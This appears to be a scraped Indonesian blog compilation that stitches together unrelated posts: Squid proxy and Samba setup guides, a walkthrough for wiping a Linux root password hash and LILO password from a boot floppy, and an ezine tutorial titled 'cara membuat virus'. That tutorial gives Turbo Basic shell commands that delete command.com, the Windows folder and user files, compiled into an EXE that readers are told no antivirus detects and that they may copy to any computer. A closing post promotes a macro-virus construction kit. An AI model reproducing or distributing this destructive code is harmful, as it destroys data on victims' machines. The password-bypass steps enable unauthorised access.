http_access deny all
icp_access allow all
miss_access allow all
#snmp_access allow localhost
#snmp_access deny all
#snmp_port 3401
#acl snmppublic snmp_community public
#snmp_access allow snmppublic allowed_hosts
#snmp_access deny all
never_direct allow all
#————————————————————————–
# Parameter Delaypool
#————————————————————————–
acl magic_words1 url_regex -i 202.154
acl magic_words2 url_regex -i ftp .exe .mp3 .vqf .tar.gz .gz .rpm .zip .rar .avi .mpeg .mpe .mpg .qt .ram .rm .iso .raw .wav
delay_pools 2
delay_class 1 2
#-1/-1 mean that there are no limits
delay_parameters 1 -1/-1 -1/-1
delay_access 1 allow magic_words1
delay_class 2 2
delay_parameters 2 4000/150000 4000/120000
delay_access 2 allow magic_words2

menjalankan squid
[root@gateway squid-2.6.STABLE4]# /usr/local/squid/sbin/squid -z
[root@gateway squid-2.6.STABLE4]# /usr/local/squid/sbin/squid -sYD

Cek squid
[root@gateway squid-2.6.STABLE4]# netstat -plnat grep squid
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 14066/(squid)

Membangun File Server Dengan SAMBA

Hallo semuanya, saya baru gabung di fedora.or.id, saya newbie banget hehehe,,,,so sorry if article is wrong…. Salam kenal buat semua teman2 di fedora comunity.

Saya ingin share neh sedikit pengalaman saya waktu saya membangun file server menggunakan SAMBA. Saya menggunakan fedora core 6 sebagai server dan 10 Windows XP sebagai client. Samba 3.xx sudah terinstall bersamaan dengan fc6 ketika saya menginstallnya, sehingga saya cukup melakukan konfirugasi pada file /etc/samba/smb.conf dan konfigurasi untuk jarigan lan nya. Pertama saya melakukan konfirugasi lan dengan menggunakan perintah-perintah berikut

# ifconfig eth0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.254

#ifconfig eth0 up

Perintah diatas adalah perintah untuk menambahkan ipaddress pada lancard kita (eth0), perintah ini bisa disimpan di file rc.local sehingga ketika linux di start script ikut dijalankan. Setelah itu saya melakukan mapping untuk semua hosts yang ada, konfigurasinya ada pada file /etc/hosts

192.168.1.1 server

192.168.1.2 dini

192.168.1.3 dina

192.168.1.4 dino

file ini berfungsi untuk melakukan translate dari ipaddress ke nama host, karena linux tidak menjalankan netbios maka kita perlu melakukan konfigurasi ini. Setelah itu saya melakukan pengetesan dengan perintah ping

# ping 127.0.0.1

# ping localhost

# ping 192.168.1.1

# ping server

# ping 192.168.1.2

# ping dini

perintah-perintah ping diatas untuk memeriksa apakah jaringannya sudah benar atau belum, jika tampil pesan request time out atau destination host unreachable berarti jaringan nya belum benar, coba konfigurasi kembali. Setelah jaringannya jalan, saya melakukan konfigurasi samba pada file /etc/samba/smb.conf berikut ini merupakan hasil konfigurasinya

workgroup = msi // nama workgroup jaringan kita

server string = samba // string yang akan ditampilkan pada icon network places

username map = /etc/samba/smbusers // mapping user samba

logfile = /var/log/samba/%m.log

max log size = 50

dns proxy = no

hosts allow = 192.168.1.1/24 // ip komputer yang diperbolehkan

————————————————

[ homes] // home direktori

comment = homes directory

browseable = no

[data] // folder yang dishare

path = /home/data

browseable = yes

valid users = dini, dina, dino

Setelah melakukan konfigurasi samba tersebut kemudian restart samba dengan perintah

# /etc/rc.d/init.d/smb restart

# smbd -D

# nmbd -D

OK jika semuanya berjalan dengan lancar coba test sambanya dengan perintah

# smbclient -L server -N

Jika tampil data-data yang dishare berarti konfigurasi samba berhasil. Sampai disini saya sudah berhasil melakukan konfigurasi samba kemudian untuk tambahan sebaiknya

“username pada samba, linux, dan windows dibuat sama” mengapa ? agar ketika user ingin mengambil atau menyimpan file di server mereka tidak perlu lagi memasukan username dan password nya.

thank’s semoga bisa bermanfaat bagi teman2

Mikrotik dengan Squid Proxy - Lebih Jauh dengan Squid Box dengan Delay Pools

I. PERSIAPAN DAN DEFINISI DELAY POOLS
Gambaran Umum Delay Pools:
Delay Pools adalah untuk mengkonfigurasikan squid dengan pengaturan bandwidth berdasarkan kriteria tertentu.

Siapkan PC dengan kemampuan lebih, seperti :
1. P4 @ 2 Ghz cukup
2. harddisk cukup kecil saja sekitar 40 Gb 7200 rpm
2. Memory 512 (semakin besar semakin bagus, cachenya agar tidak "tumpah" ke harddisk)
3. Linux Distro (Ubuntu, Fedora Core, Slackware)
4. Squid-cache bisa download lewat: http://www.squid-cache.org/ downloadlah versi terbaru paling stabil (squid2.6 stable 12,saat diketik tulisan ini)
5. Konfigurasi network yang akan digunakan adalah:
....INET------SWITCH----MIKROTIK---CLIENT
.......................|
.......................--------SQUIDBOX

II. INSTALASI SQUID
A.DOWNLOAD SQUID
Untuk memudahkan instalasi maka, LinuxBox harus sudah bisa terhubung ke internet untuk mendownload langsung sourcenya dengan perintah:

PS: Menggunakan distro Ubuntu

untuk check directory aktif
Code:
admin@squidbox:~$ pwd
/home/admin
untuk download langsung dari web squidcache
Code:
admin@squidbox:~$ wget http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE12.tar.gz
untuk menginstall package squid
Code:
admin@squidbox:~$ tar -zxvf squid-2.6.STABLE12.tar.gz
admin@squidbox:~$ cd squid-2.6.STABLE12/
admin@squidbox:~/squid-2.6.STABLE12$ pwd
/home/admin/squid-2.6.STABLE12
B.KONFIGURASI SQUID
sampai sini instalasi squid sudah beres, sekarang memberikan hak akses untuk normal user agar untuk menjalankan squid jika perlu di reboot atau maintenace tidak perlu dari user root.

Code:
admin@squidbox:~/squid-2.6.STABLE12$ sudo useradd -d /usr/local/squid/ -r -s /dev/null squid > /dev/null 2>&1
sekarang kita mengkonfigurasi agar squid kita bisa memanfaatkan delay-pools dan juga mengaktifkan SNMP untuk MRTG dan ICMP
Code:
admin@squidbox:~/squid-2.6.STABLE12$ ./configure –prefix=/home/admin/squid-2.6.STABLE12 \
–exec-prefix=/home/admin/squid-2.6.STABLE12 –enable-gnuregex \
–enable-icmp –enable-snmp \
–enable-delay-pools –enable-cache-diggest \
–enable-removal-policies=heap –enable-default-err-languages=English \
–enable-err-languages=English –enable-async-io=24 \
–with-aufs-threads=24 –with-pthreads \
–with-aio –with-dl \
–enable-storeio=aufs,diskd –enable-epoll \
–enable-kill-parent-hack –disable-ident-lookups \
–disable-wccp –disable-wccpv2 \
–enable-htcp
untuk informasi lebih jelas konfigurasi dan compile squid bisa lihat kesini:
http://wiki.squid-cache.org/SquidFaq/CompilingSquid
http://wiki.squid-cache.org/SquidFaq/ConfiguringSquid

untuk prefix dan exec-prefix disesuaikan dengan directory squidnya.

C.MENGKOMPILE DAN INSTALASI SQUID
setelah konfigurasi awal di atas selesai maka kita bisa mengkompile nya dengan perintah:
Code:
admin@squidbox:~/squid-2.6.STABLE12$ make
admin@squidbox:~/squid-2.6.STABLE12$ sudo make install
III.Konfigurasi squid.conf
A.Penjelasan Delay Pools dan parameternya
Untuk Penjelasan Mengenai Delay Pools bisa ke thread ini, karena kalau terlalu panjang Tutsnya nanti malah jadi Boring dan Pusing. ^^
http://www.forummikrotik.com/showthr...ted=1#post1608

B. Mengedit Squid.conf
Untuk mengedit konfigurasi squid.conf dapat memberikan perintah sebagai berikut:
Code:
admin@squidbox:~/squid-2.6.STABLE12$ sudo nano /home/admin/squid-2.6.STABLE12/etc/squid.conf
Konfigurasi default dan optimalisasi squid.conf:
Code:
http_port 3128
hierarchy_stoplist cgi-bin ?
acl QUERY urlpath_regex cgi-bin \?

# LOGFILE PATHNAMES AND CACHE DIRECTORIES
# —————————————————————————–
cache_dir diskd /home/admin/squid-2.6.STABLE12/var/cache 1000 8 256 # << Sesuaikan dengan kebutuhan anda
access_log /home/admin/squid-2.6.STABLE12/var/logs/access.log squid
cache_log /home/admin/squid-2.6.STABLE12/var/logs/cache.log
log_fqdn off
buffered_logs off

# OPTIONS FOR TUNING THE CACHE
# —————————————————————————–
refresh_pattern /.gif 4320 50% 43200
refresh_pattern /.jpg 4320 50% 43200
refresh_pattern /.jpeg 4320 50% 43200
refresh_pattern /.png 4320 50% 43200
refresh_pattern ^http://www.friendster.com/.* 720 100% 10080
refresh_pattern ^http://mail.yahoo.com/.* 720 100% 10080
refresh_pattern ^http://*.yahoo.*/.* 720 100% 7200
refresh_pattern ^http://*.google.com/.* 720 100% 10080
refresh_pattern ^http://www.telkomspeedy.com/.* 720 100% 28800
refresh_pattern ^http://*.blogsome.com/.* 720 80% 10080
refresh_pattern ^http://*.wordpress.com/.* 720 80% 10080
refresh-pattern ^http://detik.com/.* 720 90% 2880
refresh_pattern ^ftp: 14400 90% 43200 reload-into-ims
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern . 0 20% 4320 reload-into-ims

quick_abort_min 0 KB
quick_abort_max 0 KB
quick_abort_pct 95

# ACCESS CONTROLS
# —————————————————————————–
acl my_network src 192.168.1.0/24
acl SSL_ports port 443 563
#acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 443 563 # https
#acl Safe_ports port 488 # gss-http
#acl Safe_ports port 591 # filemaker
#acl Safe_ports port 777 # multiling http
http_access allow manager localhost my_network
http_access allow my_network

acl download url_regex -i \.mp3
acl download url_regex -i \.3gp
acl download url_regex -i \.avi
acl download url_regex -i \.mpg
acl download url_regex -i \.mpeg
acl download url_regex -i \.wav
acl download url_regex -i \.flv
acl download url_regex -i \.swf

# DELAY POOL PARAMETERS (all require DELAY_POOLS compilation option)
# —————————————————————————–
delay_pools 2
delay_class 1 3
delay_parameters 1 -1/-1 -1/-1 8000/8000
delay_access 1 allow my_network download
delay_access 1 deny all
delay_class 2 2
delay_parameters 2 -1/-1 -1/-1
delay_access 2 allow my_network
delay_access 2 deny all

# ADMINISTRATIVE PARAMETERS
# —————————————————————————–
cache_effective_user squid

# MISCELLANEOUS
# —————————————————————————–
logfile_rotate 5
reload_into_ims on
store_dir_select_algorithm round-robin

# ADMINISTRATIVE PARAMETERS
# —————————————————————————–
cache_mgr youremail@host.com
visible_hostname localhost
IV. Menjalankan Squid-cache
A. Membuat swap cache
Code:
[root@squidbox]#/usr/local/squid/sbin/squid -z
B. Mengaktifkan Squid di Foreground task
Code:
ghoz@ghoz-desktop:~/squid-2.6.STABLE12$ home/ghoz/squid-2.6.STABLE12/sbin/squid -SND
ghoz@ghoz-desktop:~/squid-2.6.STABLE12$ home/ghoz/squid-2.6.STABLE12/sbin/squid start
C. Monitoring TCP squidBox
Code:
admin@squidbox:~/squid-2.6.STABLE12$ sudo netstat -pln | grep squid
Bila tampilan ada yang persis seperti dibawah ini, berarti squid telah berjalan.
Code:
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 18047/(squid)
udp 0 0 0.0.0.0:3130 0.0.0.0:* 18047/(squid)
udp 0 0 0.0.0.0:3401 0.0.0.0:* 18047/(squid)
udp 0 0 0.0.0.0:4827 0.0.0.0:* 18047/(squid)
udp 0 0 0.0.0.0:32992 0.0.0.0:* 18047/(squid)
Untuk pengecekan, maka client dicoba untuk browsing, jika ada data in/out maka proses pembuatan transparant proxy sudah berhasil.

Bongkar Password Linux dengan MiniLinux

Halloo ... Sebetulnya banyak banget kasus yang telah kita alami bersama

dalam mengarungi bahtera rumah tangga antara kita semua dan komputer kesayangan. :D~~~

Banyak masalah, halangan, rintangan dan segala macam cobaan yang dapat teratasi dengan mudah, dan mungkin ada saja masalah yang sulit diatasi, walaupun pada akhirnya masalah pun bisa diatasi, dengan berbagai usaha tentunya ...

Seperti kasus kemarin dalam artikel "Cara Lain menjadi Administrator di Windows XP SP1 DAN SP2 [ NTFS ]" buatan saya sendiri ... Roby sang penguasa kegelapan yang murka akhirnya memiliki cara lain untuk mengembalikan account administratornya yang limited dengan menggunakan tools kecil yaitu ... The OffLine NT Password Editor buatan Peter P'Nordah. :) [maklum sang penguasa kegelapan ternyata seorang script kiddie juga ] Tentunya dengan berbagai tahapan. Dan ini membuktikan tidak ada keamanan yang menjamin 100%.


Ngomong apaan siihh ... ???!! :)


Sebetulnya tutorial ini basi banget ... tapi berhubung masih banyak banget newbie yang belum tau ... khususnya user wind0st [ red:windows ] yang baru migrasi, jadi nggak basi kan.

Yang namanya ilmu, basi nggak basi teteup ilmu, ya nggak ?? Nggak !!

Basa-basinya udah dulu !!


Sekarang ada suatu kasus, dimana para Linuxer yang kadang-kadang lupa akan passwordnya. Terlebih lagi, mode linux single untuk lilo pun telah ter pass word kan ... ( susah bener ngomongnya ). Udah gitu, CD Distro linux dipinjeum temen. Pas dibalikkin banyak goressannya :D~~. Manteubh deuuh.


Udah ahhh ... banyak banget basa-basinya. Gini aja ...

Anggap aja situasinya begini.

Ada 2 sistem operasi yang terinstall di harddisk dengan 5 partisi didalamnya, Windows XP dengan 1 partisi bertipe NTFS, dan 2 partisi bertipe FAT32. Dan Linux dengan 1 Swap Partisi dan 1 partisi bertipe Ext3.


Alat Yang kita perlukan adalah ...

====================


1. tomsrtbt-x.x.xxx.dos.zip – sekitar 2 MB -- [ bisa didownload di

http://www.distrowatch.com atau

cari sendiri minta bantuan mamang google atau juga bisa langsung ke mainsite

http://www.toms.net ] -– Linux Mini , Distro Mini Yang laen juga boleh !!

sedapetnya aja …


2. NTFS 4 Dos [ didownload di http://www.bootdisk.com ] -- Yang ini jadi pilihan

kalo misalkan nggak punya partisi bertipe Fat32.


3. Untuk pengguna yang salah satu partisi harddisknya bertipe FAT32,

Bisa pake CD Bootable apa aja asal bisa masuk ke dos. Ex : CD CHIP MagaZine.


4. 2 Disket Kosong …


5. Sedikit pengetahuan menggunakan MSDOS, dan perintah dasar linux



Download dulu tools diatas,


Ta’ jelaskeun dulu fungsi dari alat-alat perang di atas !


Pertama, tomsrtbt.xxx.xxx, yang ini udah jelas ... distro linux mini berukuran 1 disket. Kedua, NTFS 4 Dos ... sebetulnya ini hanya pilihan aja ... bakal dipake nantinya kalo misalkan anda nggak punya partisi bertype FAT32, atau FAT16. ketiga, Udah jelas kan ??? yang keempat, jelas deuuh !!! Yang kelima, gampang deuuh yah ??? Entar juga dikasih tau !!


Tahapan Pertama ...

Bagi anda yang memiliki partisi harddisk bertipe FAT32 anda bisa melewati langkah ini. Buka program NTFS4DOS yang udah diinstall tadi, dan siapkan satu disket kosong ... terus ikutin aja perintahnya. SELESAI ???? Lanjut ke tahapan kedua ...


Tahapan Kedua...

Nah ... file distro linux zip-an yang tadi didownload bisa diextract di atas partisi FAT32 ke folder paling awal ... ex : d:\linux

---

Didalam folder tersebut kurang lebih isinya


initrd.img

install.bat

license.html

loadlin.exe

tomsrtbt.FAQ

tomsrtbt.lsm

zimage


---

Kalo nggak ada partisi fat32 bisa juga diextract ke c:\linux , terserah, it’s your choice !!!

Selesai ??? langsung kita restart, masuk BIOS, dan rubah konfigurasi BIOS, booting pertamanya ke Flopppy atau CDROM. Untuk yang tadi udah buat disket booting dengan NTFS4DOS bisa langsung boot dengan disketnya ... begitu juga untuk yang salah satu partisi harddisknya bertipe FAT32 bisa booting langsung dengan CD Bootablenya ... selesai ... Lanjut !!!


Tahapan Ketiga ...

Kalo udah masuk ke Dos ...

Nah, ini dia yang mantabh. Masuk ke direktori letak distro linux disket tadi ...


C:\>cd linux

C:\linux>dir

Bla..bla..bla

initrd.img

install.bat

license.html

loadlin.exe

tomsrtbt.FAQ

tomsrtbt.lsm

zimage

Bla..bla..bla


C:\linux>install.bat

Silahkan disketnya diganti dulu !!!

Selesai … ??? Nah restart lagi … kali ini booting lewat disket linux yang baru aja dibuat.


Nah tuhhhh … ada distro linux tomsrtbt !!!

User-nya : xxxx, trus Password-nya : xxxx juga , kalo nggak xxxx itu xxxxx pokoknya cobain aja satu-satu.


Silahkan ikutin perintahnya …


# cat /etc/fstab

# cat /proc/partitions


misalkan isinya kurang lebih mirip-mirip kaya gini


/dev/hdb1 ntfs umask=0,nls=iso8859-1,ro 0 0

/dev/hdb6 vfat umask=0,iocharset=iso8859-1,codepage=850 0 0

/dev/hdb7 ext3 defaults 1 1

/dev/hdb8 vfat umask=0,iocharset=iso8859-1,codepage=850 0 0



Langsung aja di mount.

Tapi sebelumnya :


#mkdir /mnt/linux2 # bikin direktorinya dulu buat partisi ext3

#mount –t ext3 /dev/hdb7 /mnt/linux2


Apakah berhasil ???


#ls /mnt/linux2


Nah terakhir ... langsung masuk ke /mnt/linux2 atau langsung buka file shadow di /mnt/linux2/etc/shadow dengan editor vi


#vi /mnt/linux2/etc/shadow


root:$1$97EDFlvF$ok4DD2uOi5axzT.mw/Z/S.:13414:0:99999:7:::

bin:*:13414:0:99999:7:::

daemon:*:13414:0:99999:7:::

adm:*:13414:0:99999:7:::

lp:*:13414:0:99999:7:::

sync:*:13414:0:99999:7:::

shutdown:*:13414:0:99999:7:::

halt:*:13414:0:99999:7:::

uucp:*:13414:0:99999:7:::

operator:*:13414:0:99999:7:::

nobody:*:13414:0:99999:7:::

rpm:!!:13414:0:99999:7:::

vcsa:!!:13414:0:99999:7:::

xfs:!!:13414:0:99999:7:::

haldaemon:!!:13414:0:99999:7:::

apache:!!:13414:0:99999:7:::

rpc:!!:13414:0:99999:7:::

ups:!!:13414:0:99999:7:::

rpcuser:!!:13414:0:99999:7:::

sshd:!!:13414:0:99999:7:::

gdm:!!:13414:0:99999:7:::

squid:!!:13414:0:99999:7:::

mysql:!!:13414:0:99999:7:::

al_k:!!:13417:0:99999:7:::


lihat bagian paling atas ...


root:$1$97EDFlvF$ok4DD2uOi5axzT.mw/Z/S.:13414:0:99999:7:::


hapus bagian $1$97EDFlvF$ok4DD2uOi5axzT.mw/Z/S.


sampe jadi kayagini


root::13414:0:99999:7:::


ini berarti kita telah menghapus password yang dienkripsi.


kemudian keluar lalu save .... dengan cara tekan tombol Esc lalu dilanjuti dengan :wq! Enter



Nah sekarang untuk menghilangkan password lilonya :


# vi /etc/lilo.conf


....

image=/boot/vmlinuz

label="CoolOS"

root=/dev/hdb6

password=”manteubh” - baris sebelah sini musti dihapus nih

initrd=/boot/initrd.img

append="acpi=ht resume=/dev/hdb5"

read-only

….


Kemudian save lalu keluar dan restart …

Selesai … langsung login dah dengan root tanpa password … !!!


Sebetulnya ada cara yang lebih mudah ... pake linux live CD ... :p [ nggak keren ]

Kamis, 15 Januari 2009

cara membuat virus

Author: Yogya Family Code || http://www.yogyafree.tk
Online @ www.echo.or.id :: http://ezine.echo.or.id



== Cara membuat program perusak (Seperti Virus) ==

Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga
peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan progammer
pada langsung lompat ke Pascal, C dan lainnya).

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer,
tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali,
anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara
membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan
bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk
berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda
cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda
dapat mendownloadnya di Google atau cari dirental CD.

Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code
program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda
membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna
komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat
fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save
lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi,
caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile
lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada
program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda
dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS
DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program
ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan
ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai
jenis Antivirus.

Penulis :
Kurniawan
Yogya Family Code
http://www.yogyafree.tk

Salam :
paktani.tk : "Paktani ini saya, hehe"
/conan/ alias markov : "versi 2005 dah keluar lho",
kartubeben : "Inget akukan :P"

*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda


Membuat virus macro sendiri

Berdasarkan sifat dan penyerangannya, virus komputer dapat dibedakan menjadi beberapa macam, misalnya virus boot sector, virus file, polymorphic virus, stealth virus, dan virus makro. Virus makro ini dapat menyerang pada dokumen MS Word, Excel atau Power Point. Virus makro ini termasuk virus yang paling banyak dijumpai di sekitar kita. Tentunya kita masih ingat dengan adanya virus Mellisa atau virus I Love You yang juga dapat kita masukkan ke dalam kategori virus macro.

Mengapa virus makro ini sering sekali kita jumpai? Jawabnya tentu saja karena populasi pengguna MS Office sangat banyak. Dengan pengguna yang cukup banyak tentunya virus makro dapat berkembang dengan cepat. Dengan melakukan pertukaran data *.doc (dokumen MS Word) yang telah terinfeksi maka sudah cukup untuk membuat semua dokumen menjadi terinfeksi.

Yang menarik, bagaimana cara membuat virus makro tersebut? Kalau Anda seorang programmer, dengan bantuan berbagai referensi tentunya mudah saja untuk belajar membuat virus makro. Masalahnya bagaimana kalau kita sama sekali tidak menguasai bahasa pemrograman?

Tenang saja, di internet banyak sekali software yang dapat digunakan untuk membuat virus makro. Salah satunya adalah SkamWerks Lab. Dengan fasilitas Virii Wizard, kita dapat membuat virus mulai dari awal sampai selesai. Saat menggunakan Virii Wizard, kita dapat menuliskan pembuat virusnya, nama virus, dan makro-makro yang akan dimasukkan ke dalam virus. Nah, daripada penasaran, silakan Anda cepat-cepat mencobanya sendiri. Tentunya setelah Anda mendownload programnya di sini.

Jika berminat, Anda bisa mendapatkan software-software lain yang dapat digunakan untuk membuat virus di sini. Koleksinya sangat lengkap!

Selamat mencoba!